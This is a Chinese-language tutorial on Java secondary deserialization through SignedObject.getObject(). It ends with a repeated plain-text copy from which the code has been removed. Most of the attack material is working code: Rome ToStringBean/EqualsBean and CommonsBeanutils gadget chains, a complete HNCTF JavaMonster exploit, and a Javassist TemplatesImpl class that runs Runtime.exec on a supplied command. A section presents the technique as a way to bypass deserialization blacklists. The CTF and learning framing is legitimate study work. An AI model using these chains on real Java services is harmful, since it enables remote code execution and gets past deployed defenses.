Java 二次反序列化学习
字数 1143 2025-08-18 11:35:36

Java二次反序列化漏洞深入解析与利用

1. SignedObject类安全漏洞分析

SignedObjectjava.security包下的一个类,用于创建带有数字签名的运行时对象。它包含另一个Serializable对象,并通过数字签名确保其完整性。

1.1 关键漏洞点

SignedObject类的getObject()方法存在反序列化漏洞:

public Object getObject()
    throws IOException, ClassNotFoundException {
    // 创建序列化输入流
    ByteArrayInputStream bais = new ByteArrayInputStream(this.content);
    // 创建对象输入流
    ObjectInputStream ois = new ObjectInputStream(bais) {
        @Override
        protected Class<?> resolveClass(ObjectStreamClass desc)
            throws IOException, ClassNotFoundException {
            // 这里没有对反序列化的类做任何限制
            return super.resolveClass(desc);
        }
    };
    // 执行反序列化
    return ois.readObject();
}

关键问题:

  1. 反序列化内容是可控的(通过构造函数传入)
  2. 没有对反序列化的类做任何限制
  3. 该方法是一个getter方法,容易被各种反序列化链调用

1.2 漏洞利用思路

利用SignedObject进行二次反序列化的基本流程:

  1. 创建一个包含恶意对象的SignedObject
  2. 构造一个调用链触发getObject()方法
  3. getObject()方法执行时触发内部恶意对象的反序列化

示例构造代码:

KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject(恶意对象, kp.getPrivate(), Signature.getInstance("DSA"));

2. 利用链分析

2.1 Rome链利用

Rome是一个Java库,其中的EqualsBeanToStringBean类可以触发getter方法。

2.1.1 ToStringBean利用链

调用链:

HashMap.readObject()
  -> ObjectBean.hashCode()
    -> ToStringBean.toString()
      -> Method.invoke()
        -> SignedObject.getObject()
          -> 内部恶意对象反序列化

实现代码:

public class ToStringBeanEXP {
    public static void setFieldValue(Object obj, String fieldname, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldname);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static HashMap getpayload(Class clazz, Object obj) throws Exception {
        ObjectBean objectBean = new ObjectBean(ObjectBean.class, new ObjectBean(String.class, "rand"));
        HashMap hashMap = new HashMap();
        hashMap.put(objectBean, "rand");
        ObjectBean expObjectBean = new ObjectBean(clazz, obj);
        setFieldValue(objectBean, "_equalsBean", new EqualsBean(ObjectBean.class, expObjectBean));
        return hashMap;
    }
}

2.1.2 EqualsBean利用链

调用链:

Hashtable.readObject()
  -> AbstractMap.equals()
    -> EqualsBean.equals()
      -> Method.invoke()
        -> SignedObject.getObject()
          -> 内部恶意对象反序列化

实现代码:

public class EqualsBeanEXP {
    public static Hashtable getPayload(Class clazz, Object payloadObj) throws Exception {
        EqualsBean bean = new EqualsBean(String.class, "r");
        HashMap map1 = new HashMap();
        HashMap map2 = new HashMap();
        map1.put("yy", bean);
        map1.put("zZ", payloadObj);
        map2.put("zZ", bean);
        map2.put("yy", payloadObj);
        Hashtable table = new Hashtable();
        table.put(map1, "1");
        table.put(map2, "2");
        setFieldValue(bean, "_beanClass", clazz);
        setFieldValue(bean, "_obj", payloadObj);
        return table;
    }
}

2.2 CommonsBeanutils利用链

org.apache.commons.beanutils.BeanComparatorcompare方法会触发静态方法PropertyUtils#getProperty,最终调用任意getter方法。

调用链:

PriorityQueue.readObject()
  -> BeanComparator.compare()
    -> PropertyUtils.getProperty()
      -> SignedObject.getObject()
        -> 内部恶意对象反序列化

实现代码:

public class CommonsBeanUtilsEXP {
    public static PriorityQueue<Object> getpayload(Object object, String string) throws Exception {
        BeanComparator beanComparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
        PriorityQueue priorityQueue = new PriorityQueue(2, beanComparator);
        priorityQueue.add("1");
        priorityQueue.add("2");
        setFieldValue(beanComparator, "property", string);
        setFieldValue(priorityQueue, "queue", new Object[]{object, null});
        return priorityQueue;
    }
}

3. 实际案例分析

3.1 HNCTF JavaMonster题目

题目使用了类似SignedObject的自定义类HDCTF,利用方式相同。

EXP构造:

public class EXP {
    public static void main(String[] args) throws Exception {
        byte[] bytes = getTemplatesImpl("Calc");
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{bytes});
        setFieldValue(obj, "_name", "Poria");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        
        HashMap table1 = getPayload(Templates.class, obj);
        HDCTF hdctf = new HDCTF(table1);
        HashMap table2 = getPayload(HDCTF.class, hdctf);
        
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeUTF("USy to solve EasyJava");
        oos.writeObject(table2);
        oos.close();
        System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray())));
    }
}

3.2 恶意类构造

通用的恶意类构造方法(使用TemplatesImpl):

public static byte[] getTemplatesImpl(String cmd) {
    try {
        ClassPool pool = ClassPool.getDefault();
        CtClass ctClass = pool.makeClass("Evil");
        CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
        ctClass.setSuperclass(superClass);
        
        CtConstructor constructor = ctClass.makeClassInitializer();
        constructor.setBody("try { Runtime.getRuntime().exec(\"" + cmd + "\"); } catch (Exception ignored) {}");
        
        byte[] bytes = ctClass.toBytecode();
        ctClass.defrost();
        return bytes;
    } catch (Exception e) {
        e.printStackTrace();
        return new byte[]{};
    }
}

4. 防御与绕过技术

4.1 防御措施

  1. 黑名单过滤:常见防御手段,但容易被绕过
  2. 白名单过滤:更安全但实现复杂
  3. 禁止反序列化:最安全但可能影响功能

4.2 绕过技术

  1. 使用SignedObject进行二次反序列化绕过黑名单
  2. 利用不常见的调用链触发反序列化
  3. 组合多个小工具链实现攻击

5. 总结

SignedObject的二次反序列化漏洞主要价值在于:

  1. 绕过黑名单防御:因为黑名单通常不会包含SignedObject
  2. 实现深度攻击:可以在一次反序列化中触发多次反序列化操作
  3. 灵活组合:可以与多种反序列化链组合使用

关键点:

  • 理解SignedObject.getObject()的反序列化机制
  • 掌握多种触发getter方法的调用链
  • 能够构造有效的恶意对象
  • 了解如何组合这些技术绕过防御措施
Java二次反序列化漏洞深入解析与利用 1. SignedObject类安全漏洞分析 SignedObject 是 java.security 包下的一个类,用于创建带有数字签名的运行时对象。它包含另一个 Serializable 对象,并通过数字签名确保其完整性。 1.1 关键漏洞点 SignedObject 类的 getObject() 方法存在反序列化漏洞: 关键问题: 反序列化内容是可控的(通过构造函数传入) 没有对反序列化的类做任何限制 该方法是一个getter方法,容易被各种反序列化链调用 1.2 漏洞利用思路 利用 SignedObject 进行二次反序列化的基本流程: 创建一个包含恶意对象的 SignedObject 构造一个调用链触发 getObject() 方法 在 getObject() 方法执行时触发内部恶意对象的反序列化 示例构造代码: 2. 利用链分析 2.1 Rome链利用 Rome是一个Java库,其中的 EqualsBean 和 ToStringBean 类可以触发getter方法。 2.1.1 ToStringBean利用链 调用链: 实现代码: 2.1.2 EqualsBean利用链 调用链: 实现代码: 2.2 CommonsBeanutils利用链 org.apache.commons.beanutils.BeanComparator 的 compare 方法会触发静态方法 PropertyUtils#getProperty ,最终调用任意getter方法。 调用链: 实现代码: 3. 实际案例分析 3.1 HNCTF JavaMonster题目 题目使用了类似 SignedObject 的自定义类 HDCTF ,利用方式相同。 EXP构造: 3.2 恶意类构造 通用的恶意类构造方法(使用TemplatesImpl): 4. 防御与绕过技术 4.1 防御措施 黑名单过滤:常见防御手段,但容易被绕过 白名单过滤:更安全但实现复杂 禁止反序列化:最安全但可能影响功能 4.2 绕过技术 使用 SignedObject 进行二次反序列化绕过黑名单 利用不常见的调用链触发反序列化 组合多个小工具链实现攻击 5. 总结 SignedObject 的二次反序列化漏洞主要价值在于: 绕过黑名单防御:因为黑名单通常不会包含 SignedObject 类 实现深度攻击:可以在一次反序列化中触发多次反序列化操作 灵活组合:可以与多种反序列化链组合使用 关键点: 理解 SignedObject.getObject() 的反序列化机制 掌握多种触发getter方法的调用链 能够构造有效的恶意对象 了解如何组合这些技术绕过防御措施